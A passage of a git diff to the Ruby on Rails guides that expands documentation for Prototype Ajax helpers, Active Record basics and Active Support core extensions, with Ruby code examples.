3. + +<ruby> +number_with_precision(111.2345) # => 111.235 +number_with_precision(111.2345, 2) # => 111.23 +</ruby> + +h4. PrototypeHelper + +Prototype is a JavaScript library that provides DOM manipulation, Ajax functionality, and more traditional object-oriented facilities for JavaScript. This module provides a set of helpers to make it more convenient to call functions from Prototype using Rails, including functionality to call remote Rails methods (that is, making a background request to a Rails action) using Ajax. + +To be able to use these helpers, you must first include the Prototype JavaScript framework in the HEAD of the pages with Prototype functions. + +<ruby> +javascript_include_tag 'prototype' +</ruby> + +h5. evaluate_remote_response + +Returns +eval(request.responseText)+ which is the JavaScript function that form_remote_tag can call in +:complete+ to evaluate a multiple update return document using +update_element_function+ calls. + +h5. form_remote_tag + +Returns a form tag that will submit using XMLHttpRequest in the background instead of the regular reloading POST arrangement. Even though it‘s using JavaScript to serialize the form elements, the form submission will work just like a regular submission as viewed by the receiving side. + +For example, this: + +<ruby> +form_remote_tag :html => { :action => url_for(:controller => "some", :action => "place") } +</ruby> + +would generate the following: + +<html> +<form action="/some/place" method="post" onsubmit="new Ajax.Request('', + {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;"> +</html> + +h5. link_to_remote + +Returns a link to a remote action that's called in the background using XMLHttpRequest. You can generate a link that uses AJAX in the general case, while degrading gracefully to plain link behavior in the absence of JavaScript. For example: + +<ruby> +link_to_remote "Delete this post", + { :update => "posts", :url => { :action => "destroy", :id => post.id } }, + :href => url_for(:action => "destroy", :id => post.id) +</ruby> + +h5. observe_field + +Observes the field specified and calls a callback when its contents have changed. + +<ruby> +observe_field("my_field", :function => "alert('Field changed')") +</ruby> + +h5. observe_form + +Observes the form specified and calls a callback when its contents have changed. The options for observe_form are the same as the options for observe_field. + +<ruby> +observe_field("my_form", :function => "alert('Form changed')") +</ruby> + +h5. periodically_call_remote + +Periodically calls the specified url as often as specified. Usually used to update a specified div with the results of the remote call. The following example will call update every 20 seconds and update the news_block div: + +<ruby> +periodically_call_remote(:url => 'update', :frequency => '20', :update => 'news_block') +# => PeriodicalExecuter(function() {new Ajax.Updater('news_block', 'update', {asynchronous:true, evalScripts:true})}, 20) +</ruby> + +h5. remote_form_for + +Creates a form that will submit using XMLHttpRequest in the background instead of the regular reloading POST arrangement and a scope around a specific resource that is used as a base for questioning about values for the fields. + +<ruby> +<% remote_form_for(@post) do |f| %> + ... +<% end %> +</ruby> + +h5. remote_function + +Returns the JavaScript needed for a remote function. Takes the same arguments as +link_to_remote+. + +<ruby> +<select id="options" onchange="<%= remote_function(:update => "options", :url => { :action => :update_options }) %>"> + <option value="0">Hello</option> + <option value="1">World</option> +</select> +# => <select id="options" onchange="new Ajax.Updater('options', '/testing/update_options', {asynchronous:true, evalScripts:true})"> +</ruby> + +h5. submit_to_remote + +Returns a button input tag that will submit form using XMLHttpRequest in the background instead of a regular POST request that reloads the page. + +For example, the following: + +<ruby> +submit_to_remote 'create_btn', 'Create', :url => { :action => 'create' } +</ruby> + +would generate: + +<html> +<input name="create_btn" onclick="new Ajax.Request('/testing/create', + {asynchronous:true, evalScripts:true, parameters:Form.serialize(this.form)}); + return false;" type="button" value="Create" /> +</html> + +h5. update_page + +Yields a JavaScriptGenerator and returns the generated JavaScript code. Use this to update multiple elements on a page in an Ajax response. + +<ruby> +update_page do |page| + page.hide 'spinner' +end +</ruby> + +h5. update_page_tag + +Works like update_page but wraps the generated JavaScript in a +script+ tag. Use this to include generated JavaScript in an ERb template. + +h4. PrototypeHelper::JavaScriptGenerator::GeneratorMethods + +JavaScriptGenerator generates blocks of JavaScript code that allow you to change the content and presentation of multiple DOM elements. Use this in your Ajax response bodies, either in a +script+ tag or as plain JavaScript sent with a Content-type of "text/javascript". + +h5. << + +Writes raw JavaScript to the page. + +<ruby> +page << "alert('JavaScript with Prototype.');" +</ruby> + +h5. [] + +Returns a element reference by finding it through it's id in the DOM. + +<ruby> +page['blank_slate'].show # => $('blank_slate').show(); +</ruby> + +h5. alert + +Displays an alert dialog with the given message. + +<ruby> +page.alert('This message is from Rails!') +</ruby> + +h5. assign + +Assigns the JavaScript variable the given value. + +<ruby> +page.assign 'tabulated_total', @total_from_cart +</ruby> + +h5. call + +Calls the JavaScript function, optionally with the given arguments. + +<ruby> +page.call 'Element.replace', 'my_element', "My content to replace with." +</ruby> + +h5. delay + +Executes the content of the block after a delay of the number of seconds provided. + +<ruby> +page.delay(20) do + page.visual_effect :fade, 'notice' +end +</ruby> + +h5. draggable + +Creates a script.aculo.us draggable element. See ActionView::Helpers::ScriptaculousHelper for more information. + +h5. drop_receiving + +Creates a script.aculo.us drop receiving element. See ActionView::Helpers::ScriptaculousHelper for more information. + +h5. hide + +Hides the visible DOM elements with the given ids. + +<ruby> +page.hide 'person_29', 'person_9', 'person_0' +</ruby> + +h5. insert_html + +Inserts HTML at the specified position relative to the DOM element identified by the given id. + +<ruby> +page.insert_html :bottom, 'my_list', '<li>Last item</li>' +</ruby> + +h5. literal + +Returns an object whose to_json evaluates to the code provided. Use this to pass a literal JavaScript expression as an argument to another JavaScriptGenerator method. + +h5. redirect_to + +Redirects the browser to the given location using JavaScript, in the same form as +url_for+. + +<ruby> +page.redirect_to(:controller => 'accounts', :action => 'new') +</ruby> + +h5. remove + +Removes the DOM elements with the given ids from the page. + +<ruby> +page.remove 'person_23', 'person_9', 'person_2' +</ruby> + +h5. replace + +Replaces the "outer HTML" (i.e., the entire element, not just its contents) of the DOM element with the given id. + +<ruby> +page.replace 'person-45', :partial => 'person', :object => @person +</ruby> + +h5. replace_html + +Replaces the inner HTML of the DOM element with the given id. + +<ruby> +page.replace_html 'person-45', :partial => 'person', :object => @person +</ruby> + +h5. select + +Returns a collection reference by finding it through a CSS pattern in the DOM. + +<ruby> +page.select('p.welcome b').first.hide # => $$('p.welcome b').first().hide(); +</ruby> + +h5. show + +Shows hidden DOM elements with the given ids. + +<ruby> +page.show 'person_6', 'person_13', 'person_223' +</ruby> + +h5. sortable + +Creates a script.aculo.us sortable element. Useful to recreate sortable elements after items get added or deleted. See ActionView::Helpers::ScriptaculousHelper for more information. + +h5. toggle + +Toggles the visibility of the DOM elements with the given ids. Example: + +<ruby> +page.toggle 'person_14', 'person_12', 'person_23' # Hides the elements +page.toggle 'person_14', 'person_12', 'person_23' # Shows the previously hidden elements +</ruby> + +h5. visual_effect + +Starts a script.aculo.us visual effect. See ActionView::Helpers::ScriptaculousHelper for more information. + + +TODO start from RecordIdentificationHelper -TODO... h3. Localized Views @@ -44,8 +1457,6 @@ Action View has the ability render different templates depending on the current For example, suppose you have a Posts controller with a show action. By default, calling this action will render +app/views/posts/show.html.erb+. But if you set +I18n.locale = :de+, then +app/views/posts/show.de.html.erb+ will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available. -TODO add full code example... - You can use the same technique to localize the rescue files in your public directory. For example, setting +I18n.locale = :de+ and creating +public/500.de.html+ and +public/404.de.html+ would allow you to have localized rescue pages. Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to +app/controllers/application.rb+: @@ -58,7 +1469,7 @@ def set_expert_locale end </ruby> -Then you could create special views like +app/views/posts/show.expert.html.erb+, which would only be displayed to expert users. +Then you could create special views like +app/views/posts/show.expert.html.erb+ that would only be displayed to expert users. You can read more about the Rails Internationalization (I18n) API "here":i18n.html. @@ -66,4 +1477,5 @@ h3. Changelog "Lighthouse Ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/71 +* September 3, 2009: Continuing work by Trevor Turk, leveraging the "Action Pack docs":http://ap.rubyonrails.org/ and "What's new in Edge Rails":http://ryandaigle.com/articles/2007/8/3/what-s-new-in-edge-rails-partials-get-layouts * April 5, 2009: Starting work by Trevor Turk, leveraging Mike Gunderloy's docs diff --git a/railties/guides/source/active_record_basics.textile b/railties/guides/source/active_record_basics.textile index bf6e3c8181..226f1b134b 100644 --- a/railties/guides/source/active_record_basics.textile +++ b/railties/guides/source/active_record_basics.textile @@ -1,50 +1,37 @@ h2. Active Record Basics -This guide will give you a strong grasp of the Active Record pattern and how it can be used with or without Rails. Hopefully, some of the philosophical and theoretical intentions discussed here will also make you a stronger and better developer. +This guide is an introduction to Active Record. After reading this guide we hope that you'll learn: -After reading this guide we hope that you'll be able to: - -* Understand the way Active Record fits into the MVC model. -* Create basic Active Record models and map them with your database tables. -* Use your models to execute CRUD (Create, Read, Update and Delete) database operations. -* Follow the naming conventions used by Rails to make developing database applications easier and obvious. -* Take advantage of the way Active Record maps it's attributes with the database tables' columns to implement your application's logic. -* Use Active Record with legacy databases that do not follow the Rails naming conventions. +* What Object Relational Mapping and Active Record are and how they are used in Rails +* How Active Record fits into the Model-View-Controller paradigm +* How to use Active Record models to manipulate data stored in a relational database +* Active Record schema naming conventions +* The concepts of database migrations, validations and callbacks endprologue. -h3. What's Active Record? - -Rails' ActiveRecord is an implementation of Martin Fowler's "Active Record Design Pattern":http://martinfowler.com/eaaCatalog/activeRecord.html. This pattern is based on the idea of creating relations between the database and the application in the following way: +h3. What is Active Record? -* Each database table is mapped to a class. -* Each table column is mapped to an attribute of this class. -* Each instance of this class is mapped to a single row in the database table. +Active Record is the M in "MVC":getting_started.html#the-mvc-architecture - the model - which is the layer of the system responsible for representing business data and logic. Active Record facilitates the creation and use of business objects whose data requires persistent storage to a database. It is an implementation of the Active Record pattern which itself is a description of an Object Relational Mapping system. -The definition of the Active Record pattern in Martin Fowler's words: +h4. The Active Record Pattern -??An object that wraps a row in a database table or view, encapsulates the database access, and adds domain logic on that data.?? +Active Record was described by Martin Fowler in his book _Patterns of Enterprise Application Architecture_. In Active Record, objects carry both persistent data and behavior which operates on that data. Active Record takes the opinion that ensuring data access logic is part of the object will educate users of that object on how to write to and read from the database. -h3. Object Relational Mapping +h4. Object Relational Mapping -The relation between databases and object-oriented software is called ORM, which is short for "Object Relational Mapping". The purpose of an ORM framework is to minimize the mismatch existent between relational databases and object-oriented software. In applications with a domain model, we have objects that represent both the state of the system and the behavior of the real world elements that were modeled through these objects. Since we need to store the system's state somehow, we can use relational databases, which are proven to be an excellent approach to data management. Usually this may become a very hard thing to do, since we need to create an object-oriented model of everything that lives in the database, from simple columns to complicated relations between different tables. Doing this kind of thing by hand is a tedious and error prone job. This is where an ORM framework comes in. +Object-Relational Mapping, commonly referred to as its abbreviation ORM, is a technique that connects the rich objects of an application to tables in a relational database management system. Using ORM, the properties and relationships of the objects in an application can be easily stored and retrieved from a database without writing SQL statements directly and with less overall database access code. -h3. ActiveRecord as an ORM Framework +h4. Active Record as an ORM Framework -ActiveRecord gives us several mechanisms, being the most important ones the ability to: +Active Record gives us several mechanisms, the most important being the ability to: -* Represent models. -* Represent associations between these models. -* Represent inheritance hierarchies through related models. -* Validate models before they get recorded to the database. +* Represent models and their data +* Represent associations between these models +* Represent inheritance hierarchies through related models +* Validate models before they get persisted to the database * Perform database operations in an object-oriented fashion. -It's easy to see that the Rails Active Record implementation goes way beyond the basic description of the Active Record Pattern. - -h3. Active Record Inside the MVC Model - -Active Record plays the role of model inside the MVC structure followed by Rails applications. Since model objects should encapsulate both state and logic of your applications, it's ActiveRecord responsibility to deliver you the easiest possible way to recover this data from the database. - h3. Convention over Configuration in ActiveRecord When writing applications using other programming languages or frameworks, it may be necessary to write a lot of configuration code. This is particularly true for ORM frameworks in general. However, if you follow the conventions adopted by Rails, you'll need to write very little configuration (in some case no configuration at all) when creating ActiveRecord models. The idea is that if you configure your applications in the very same way most of the times then this should be the default way. In this cases, explicit configuration would be needed only in those cases where you can't follow the conventions for any reason. @@ -125,11 +112,93 @@ class Product < ActiveRecord::Base end </ruby> +h3. Reading and Writing Data + +CRUD is an acronym for the four verbs we use to operate on data: Create, Read, Update, Delete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables. + +h4. Create + +Active Record objects can be created from a hash, a block or have its attributes manually set after creation. The _new_ method will return a new object while _create_ will return the object and save it to the database. + +For example, given a model +User+ with attributes of +name+ and +occupation+, the _create_ method call will create and save a new record into the database: + +<ruby> + user = User.create(:name => "David", :occupation => "Code Artist") +</ruby> + +Using the _new_ method, an object can be created without being saved: + +<ruby> + user = User.new + user.name = "David" + user.occupation = "Code Artist" +</ruby> + +A call to _user.save_ will commit the record to the database. + +Finally, passing a block to either create or new will return a new User object: + +<ruby> + user = User.new do |u| + u.name = "David" + u.occupation = "Code Artist" + end +</ruby> + +h4. Read + +ActiveRecord provides a rich API for accessing data within a database. Below are a few examples of different data access methods provided by ActiveRecord. + +<ruby> + # return all records + users = User.all +</ruby> + +<ruby> + # return first record + user = User.first +</ruby> + +<ruby> + # return the first user named David + david = User.find_by_name('David') +</ruby> + +<ruby> + # find all users named David who are Code Artists and sort by created_at in reverse chronological order + users = User.all(:conditions => { :name => 'David', :occupation => 'Code Artist'}, :order => 'created_at DESC') +</ruby> + +You can learn more about querying an Active Record model in the "Active Record Query Interface":"active_record_querying.html" guide. + +h4. Update + +Once an Active Record object has been retrieved, its attributes can be modified and it can be saved to the database. + +<ruby> + user = User.find_by_name('David') + user.name = 'Dave' + user.save +</ruby> + +h4. Delete + +Likewise, once retrieved an Active Record object can be destroyed which removes it from the database. + +<ruby> + user = User.find_by_name('David') + user.destroy +</ruby> + + h3. Validations -ActiveRecord gives the ability to validate the state of your models before they get recorded into the database. There are several methods that you can use to hook into the life-cycle of your models and validate that an attribute value is not empty or follow a specific format and so on. You can learn more about validations in the "Active Record Validations and Callbacks guide":activerecord_validations_callbacks.html#validations-overview. +Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that you can use to check your models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more. You can learn more about validations in the "Active Record Validations and Callbacks guide":activerecord_validations_callbacks.html#validations-overview. h3. Callbacks -ActiveRecord callbacks allow you to attach code to certain events in the life-cycle of your models. This way you can add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the "Active Record Validations and Callbacks guide":activerecord_validations_callbacks.html#callbacks-overview. +Active Record callbacks allow you to attach code to certain events in the life-cycle of your models. This enables you to add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the "Active Record Validations and Callbacks guide":activerecord_validations_callbacks.html#callbacks-overview. + +h3. Migrations +Rails provides a domain-specific language for managing a database schema called migrations. Migrations are stored in files which are executed against any database that Active Record support using rake. Rails keeps track of which files have been committed to the database and provides rollback features. You can learn more about migrations in the "Active Record Migrations guide":migrations.html
\ No newline at end of file diff --git a/railties/guides/source/active_support_overview.textile b/railties/guides/source/active_support_overview.textile index aea77c8d4e..460778deb1 100644 --- a/railties/guides/source/active_support_overview.textile +++ b/railties/guides/source/active_support_overview.textile @@ -257,7 +257,7 @@ account.to_query('company[name]') so its output is ready to be used in a query string. -Arrays return the result of applying +to_query+ to each element with <tt>_key_[]</tt> as key, and join the result with "/": +Arrays return the result of applying +to_query+ to each element with <tt>_key_[]</tt> as key, and join the result with "&": <ruby> [3.4, -45.6].to_query('sample') @@ -435,7 +435,67 @@ end h3. Extensions to +Module+ -... +h4. Aliasing + +h5. +alias_method_chain+ + +Using plain Ruby you can wrap methods with other methods, that's called _alias chaining_. + +For example, let's say you'd like params to be strings in functional tests, as they are in real requests, but still want the convenience of assigning integers and other kind of values. To accomplish that you could wrap +ActionController::TestCase#process+ this way in +test/test_helper.rb+: + +<ruby> +ActionController::TestCase.class_eval do + # save a reference to the original process method + alias_method :original_process, :process + + # now redefine process and delegate to original_process + def process(action, params=nil, session=nil, flash=nil, http_method='GET') + params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten] + original_process(action, params, session, flash, http_method) + end +end +</ruby> + +That's the method +get+, +post+, etc., delegate the work to. + +That technique has a risk, it could be the case that +:original_process+ was taken. To try to avoid collisions people choose some label that characterizes what the chaining is about: + +<ruby> +ActionController::TestCase.class_eval do + def process_with_stringified_params(...) + params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten] + process_without_stringified_params(action, params, session, flash, http_method) + end + alias_method :process_without_stringified_params, :process + alias_method :process, :process_with_stringified_params +end +</ruby> + +The method +alias_method_chain+ provides a shortcut for that pattern: + +<ruby> +ActionController::TestCase.class_eval do + def process_with_stringified_params(...) + params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten] + process_without_stringified_params(action, params, session, flash, http_method) + end + alias_method_chain :process, :stringified_params +end +</ruby> + +Rails uses +alias_method_chain+ all over the code base. For example validations are added to +ActiveRecord::Base#save+ by wrapping the method that way in a separate module specialised in validations. + +h5. +alias_attribute+ + +Model attributes have a reader, a writer, and a predicate. You can aliase a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (my mnemonic is they go in the same order as if you did an assignment): + +<ruby> +class User < ActiveRecord::Base + # let me refer to the email column as "login", + # much meaningful for authentication code + alias_attribute :login, :email +end +</ruby> h3. Extensions to +Class+ @@ -596,25 +656,129 @@ C # => NameError: uninitialized constant C See also +Object#remove_subclasses_of+ in "Extensions to All Objects FIX THIS LINK":FIXME. -h3. Extensions to +NilClass+ +h3. Extensions to +Symbol+ -... +h4. +to_proc+ -h3. Extensions to +TrueClass+ +The method +to_proc+ turns a symbol into a Proc object so that for example -... +<ruby> +emails = users.map {|u| u.email} +</ruby> -h3. Extensions to +FalseClass+ +can be written as -... +<ruby> +emails = users.map(&:email) +</ruby> -h3. Extensions to +Symbol+ +TIP: If the method that receives the Proc yields more than one value to it the rest are considered to be arguments of the method call. -... +Symbols from Ruby 1.8.7 on respond to +to_proc+, and Active Support defines it for previous versions. h3. Extensions to +String+ -... +h4. +bytesize+ + +Ruby 1.9 introduces +String#bytesize+ to obtain the length of a string in bytes. Ruby 1.8.7 defines this method as an alias for +String#size+ for forward compatibility, and Active Support does so for previous versions. + +h4. +squish+ + +The method +String#squish+ strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each: + +<ruby> +" \n foo\n\r \t bar \n".squish # => "foo bar" +</ruby> + +There's also the destructive version +String#squish!+. + +h4. Key-based Interpolation + +In Ruby 1.9 the <tt>%</tt> string operator supports key-based interpolation, both formatted and unformatted: + +<ruby> +"Total is %<total>.02f" % {:total => 43.1} # => Total is 43.10 +"I say %{foo}" % {:foo => "wadus"} # => "I say wadus" +"I say %{woo}" % {:foo => "wadus"} # => KeyError +</ruby> + +Active Support adds that functionality to <tt>%</tt> in previous versions of Ruby. + +h4. +start_with?+ and +end_width?+ + +Ruby 1.8.7 and up define the predicates +String#start_with?+ and +String#end_with?+: + +<ruby> +"foo".start_with?("f") # => true +"foo".start_with?("g") # => false +"foo".start_with?("") # => true + +"foo".end_with?("o") # => true +"foo".end_with?("p") # => false +"foo".end_with?("") # => true +</ruby> + +If strings do not respond to those methods Active Support emulates them, and also defines their 3rd person aliases: + +<ruby> +"foo".starts_with?("f") # => true +"foo".ends_with?("o") # => true +</ruby> + +in case you feel more comfortable spelling them that way. + +WARNING. Active Support invokes +to_s+ on the argument, but Ruby does not. Since Active Support defines these methods only if strings do not respond to them, this corner of their behaviour depends on the interpreter that runs a given Rails application. You change the interpreter, and +start_with?(1)+ may change its return value. In consequence, it's more portable not to rely on that and pass always strings. + +h4. +each_char+ + +Ruby 1.8.7 and up define the iterator +String#each_char+ that understands UTF8 and yields strings with a single character each, so they have length 1 but may be multibyte. Active Support defines that method for previous versions of Ruby: + +<ruby> +"\xE6\x97\xA5\xE6\x9C\xAC\xE8\xAA\x9E".each_char {|c| print c} # => 日本語 +</ruby> + +h4. Access + +h5. +at(position)+ + +Returns the character of the string at position +position+: + +<ruby> +"hello".at(0) # => "h" +"hello".at(4) # => "o" +"hello".at(-1) # => "o" +"hello".at(10) # => ERROR if < 1.9, nil in 1.9 +</ruby> + +h5. +from(position)+ + +Returns the substring of the string starting at position +position+: + +<ruby> +"hello".from(0) # => "hello" +"hello".from(2) # => "llo" +"hello".from(-2) # => "lo" +"hello".from(10) # => "" if < 1.9, nil in 1.9 +</ruby> + +h5. +to(position)+ + +Returns the substring of the string up to position +position+: + +<ruby> +"hello".to(0) # => "h" +"hello".to(2) # => "hel" +"hello".to(-2) # => "hell" +"hello".to(10) # => "hello" +</ruby> + +h5. +first(limit = 1)+ + +The call +str.first(n)+ is equivalent to +str.to(n-1)+ if +n+ > 0, and returns an empty string for +n+ == 0. + +h5. +last(limit = 1)+ + +The call +str.last(n)+ is equivalent to +str.from(-n)+ if +n+ > 0, and returns an empty string for +n+ == 0. h3. Extensions to +Numeric+ @@ -622,7 +786,40 @@ h3. Extensions to +Numeric+ h3. Extensions to +Integer+ -... +h4. +multiple_of?+ + +The method +multiple_of?+ tests whether an integer is multiple of the argument: + +<ruby> +2.multiple_of?(1) # => true +1.multiple_of?(2) # => false +</ruby> + +WARNING: Due the way it is implemented the argument must be nonzero, otherwise +ZeroDivisionError+ is raised. + +h4. +even?+ and +odd?+ + +Integers in Ruby 1.8.7 and above respond to +even?+ and +odd?+, Active Support defines them for older versions: + +<ruby> +-1.even? # => false +-1.odd? # => true + 0.even? # => true + 0.odd? # => false + 2.even? # => true + 2.odd? # => false +</ruby> + +h4. +ordinalize+ + +The method +ordinalize+ returns the ordinal string corresponding to the receiver integer: + +<ruby> +1.ordinalize # => "1st" +2.ordinalize # => "2nd" +53.ordinalize # => "53rd" +2009.ordinalize # => "2009th" +</ruby> h3. Extensions to +Float+ @@ -634,7 +831,127 @@ h3. Extensions to +BigDecimal+ h3. Extensions to +Enumerable+ -... +h4. +group_by+ + +Ruby 1.8.7 and up define +group_by+, and Active Support does it for previous versions. + +This iterator takes a block and builds an ordered hash with its return values as keys. Each key is mapped to the array of elements for which the block returned that value: + +<ruby> +entries_by_surname_initial = address_book.group_by do |entry| + entry.surname.at(0).upcase +end +</ruby> + +WARNING. Active Support redefines +group_by+ in Ruby 1.8.7 so that it still returns an ordered hash. + +h4. +sum+ + +The method +sum+ adds the elements of an enumerable: + +<ruby> +[1, 2, 3].sum # => 6 +(1..100).sum # => 5050 +</ruby> + +Addition only assumes the elements respond to <tt>+</tt>: + +<ruby> +[[1, 2], [2, 3], [3, 4]].sum # => [1, 2, 2, 3, 3, 4] +%w(foo bar baz).sum # => "foobarbaz" +{:a => 1, :b => 2, :c => 3}.sum # => [:b, 2, :c, 3, :a, 1] +</ruby> + +The sum of an empty collection is zero by default, but this is customizable: + +<ruby> +[].sum # => 0 +[].sum(1) # => 1 +</ruby> + +If a block is given +sum+ becomes an iterator that yields the elements of the collection and sums the returned values: + +<ruby> +(1..5).sum {|n| n * 2 } # => 30 +[2, 4, 6, 8, 10].sum # => 30 +</ruby> + +The sum of an empty receiver can be customized in this form as well: + +<ruby> +[].sum(1) {|n| n**3} # => 1 +</ruby> + +The method +ActiveRecord::Observer#observed_subclasses+ for example is implemented this way: + +<ruby> +def observed_subclasses + observed_classes.sum([]) { |klass| klass.send(:subclasses) } +end +</ruby> + +h4. +each_with_object+ + +The +inject+ method offers iteration with an accumulator: + +<ruby> +[2, 3, 4].inject(1) {|acc, i| product*i } # => 24 +</ruby> + +The block is expected to return the value for the accumulator in the next iteration, and this makes building mutable objects a bit cumbersome: + +<ruby> +[1, 2].inject({}) {|h, i| h[i] = i**2; h} # => {1 => 1, 2 => 4} +</ruby> + +See that spurious "+; h+"? + +Active Support backports +each_with_object+ from Ruby 1.9, which addresses that use case. It iterates over the collection, passes the accumulator, and returns the accumulator when done. You normally modify the accumulator in place. The example above would be written this way: + +<ruby> +[1, 2].each_with_object({}) {|i, h| h[i] = i**2} # => {1 => 1, 2 => 4} +</ruby> + +WARNING. Note that the item of the collection and the accumulator come in different order in +inject+ and +each_with_object+. + +h4. +index_by+ + +The method +index_by+ generates a hash with the elements of an enumerable indexed by some key. + +It iterates through the collection and passes each element to a block. The element will be keyed by the value returned by the block: + +<ruby> +invoices.index_by(&:number) +# => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>, ...} +</ruby> + +WARNING. Keys should normally be unique. If the block returns the same value for different elements no collection is built for that key. The last item will win. + +h4. +many?+ + +The method +many?+ is shorthand for +collection.size > 1+: + +<erb> +<% if pages.many? %> + <%= pagination_links %> +<% end %> +</erb> + +If an optional block is given +many?+ only takes into account those elements that return true: + +<ruby> +@see_more = videos.many? {|video| video.category == params[:category]} +</ruby> + +h4. +none?+ + +The method +none?+ is the negation of +any?+. It yields elements to a block and returns true if none of them matches: + +<ruby> +success = responses.none? {|r| r.status / 100 == 5} +</ruby> + +Ruby 1.8.7 and later already have +none?+, Active Support defines it for previous versions. h3. Extensions to +Array+ @@ -663,6 +980,185 @@ You can pick a random element with +rand+: shape_type = [Circle, Square, Triangle].rand </ruby> +h4. Options Extraction + +When the last argument in a method call is a hash, except perhaps for a +&block+ argument, Ruby allows you to omit the brackets: + +<ruby> +User.exists?(:email => params[:email]) +</ruby> + +That syntactic sugar is used a lot in Rails to avoid positional arguments where there would be too many, offering instead interfaces that emulate named parameters. In particular it is very idiomatic to use a trailing hash for options. + +If a method expects a variable number of arguments and uses <tt>*</tt> in its declaration, however, such an options hash ends up being an item of the array of arguments, where kind of loses its role. + +In those cases, you may give an options hash a distinguished treatment with +extract_options!+. That method checks the type of the last item of an array. If it is a hash it pops it and returns it, otherwise returns an empty hash. + +Let's see for example the definition of the +caches_action+ controller macro: + +<ruby> +def caches_action(*actions) + return unless cache_configured? + options = actions.extract_options! + ... +end +</ruby> + +This method receives an arbitrary number of action names, and an optional hash of options as last argument. With the call to +extract_options!+ you obtain the options hash and remove it from +actions+ in a simple and explicit way. + +h4. Conversions + +h5. +to_sentence+ + +The method +to_sentence+ turns an array into a string containing a sentence that enumerates its items: + +<ruby> +%w().to_sentence # => "" +%w(Earth).to_sentence # => "Earth" +%w(Earth Wind).to_sentence # => "Earth and Wind" +%w(Earth Wind Fire).to_sentence # => "Earth, Wind, and Fire" +</ruby> + +This method accepts three options: + +* <tt>:two_words_connector</tt>: What is used for arrays of length 2. Default is " and ". +* <tt>:words_connector</tt>: What is used to join the elements of arrays with 3 or more elements, except for the last two. Default is ", ". +* <tt>:last_word_connector</tt>: What is used to join the last items of an array with 3 or more elements. Default is ", and ". + +The defaults for these options can be localised, their keys are: + +|_. Option |_. I18n key | +| <tt>:two_words_connector</tt> | <tt>support.array.two_words_connector</tt> | +| <tt>:words_connector</tt> | <tt>support.array.words_connector</tt> | +| <tt>:last_word_connector</tt> | <tt>support.array.last_word_connector</tt> | + +Options <tt>:connector</tt> and <tt>:skip_last_comma</tt> are deprecated. + +h5. +to_formatted_s+ + +The method +to_formatted_s+ acts like +to_s+ by default. + +If the array contains items that respond to +id+, however, it may be passed the symbol <tt>:db</tt> as argument. That's typically used with collections of ARs, though technically any object in Ruby 1.8 responds to +id+ indeed. Returned strings are: + +<ruby> +[].to_formatted_s(:db) # => "null" +[user].to_formatted_s(:db) # => "8456" +invoice.lines.to_formatted_s(:db) # => "23,567,556,12" +</ruby> + +Integers in the example above are supposed to come from the respective calls to +id+. + +h5. +to_xml+ + +The method +to_xml+ returns a string containing an XML representation of its receiver: + +<ruby> +Contributor.all(:limit => 2, :order => 'rank ASC').to_xml +# => +# <?xml version="1.0" encoding="UTF-8"?> +# <contributors type="array"> +# <contributor> +# <id type="integer">4356</id> +# <name>Jeremy Kemper</name> +# <rank type="integer">1</rank> +# <url-id>jeremy-kemper</url-id> +# </contributor> +# <contributor> +# <id type="integer">4404</id> +# <name>David Heinemeier Hansson</name> +# <rank type="integer">2</rank> +# <url-id>david-heinemeier-hansson</url-id> +# </contributor> +# </contributors> +</ruby> + +To do so it sends +to_xml+ to every item in turn, and collects the results under a root node. All items must respond to +to_xml+, an exception is raised otherwise. + +By default, the name of the root element is the underscorized and dasherized plural of the name of the class of the first item, provided the rest of elements belong to that type (checked with <tt>is_a?</tt>) and they are not hashes. In the example above that's "contributors". + +If there's any element that does not belong to the type of the first one the root node becomes "records": + +<ruby> +[Contributor.first, Commit.first].to_xml +# => +# <?xml version="1.0" encoding="UTF-8"?> +# <records type="array"> +# <record> +# <id type="integer">4583</id> +# <name>Aaron Batalion</name> +# <rank type="integer">53</rank> +# <url-id>aaron-batalion</url-id> +# </record> +# <record> +# <author>Joshua Peek</author> +# <authored-timestamp type="datetime">2009-09-02T16:44:36Z</authored-timestamp> +# <branch>origin/master</branch> +# <committed-timestamp type="datetime">2009-09-02T16:44:36Z</committed-timestamp> +# <committer>Joshua Peek</committer> +# <git-show nil="true"></git-show> +# <id type="integer">190316</id> +# <imported-from-svn type="boolean">false</imported-from-svn> +# <message>Kill AMo observing wrap_with_notifications since ARes was only using it</message> +# <sha1>723a47bfb3708f968821bc969a9a3fc873a3ed58</sha1> +# </record> +# </records> +</ruby> + +If the receiver is an array of hashes the root element is by default also "records": + +<ruby> +[{:a => 1, :b => 2}, {:c => 3}].to_xml +# => +# <?xml version="1.0" encoding="UTF-8"?> +# <records type="array"> +# <record> +# <b type="integer">2</b> +# <a type="integer">1</a> +# </record> +# <record> +# <c type="integer">3</c> +# </record> +# </records> +</ruby> + +WARNING. If the collection is empty the root element is by default "nil-classes". That's a gotcha, for example the root element of the list of contributors above would not be "contributors" if the collection was empty, but "nil-classes". You may use the <tt>:root</tt> option to ensure a consistent root element. + +The name of children nodes is by default the name of the root node singularized. In the examples above we've seen "contributor" and "record". The option <tt>:children</tt> allows you to set these node names. + +The default XML builder is a fresh instance of <tt>Builder::XmlMarkup</tt>. You can configure your own builder via the <tt>:builder</tt> option. The method also accepts options like <tt>:dasherize</tt> and friends, they are forwarded to the builder: + +<ruby> +Contributor.all(:limit => 2, :order => 'rank ASC').to_xml(:skip_types => true) +# => +# <?xml version="1.0" encoding="UTF-8"?> +# <contributors> +# 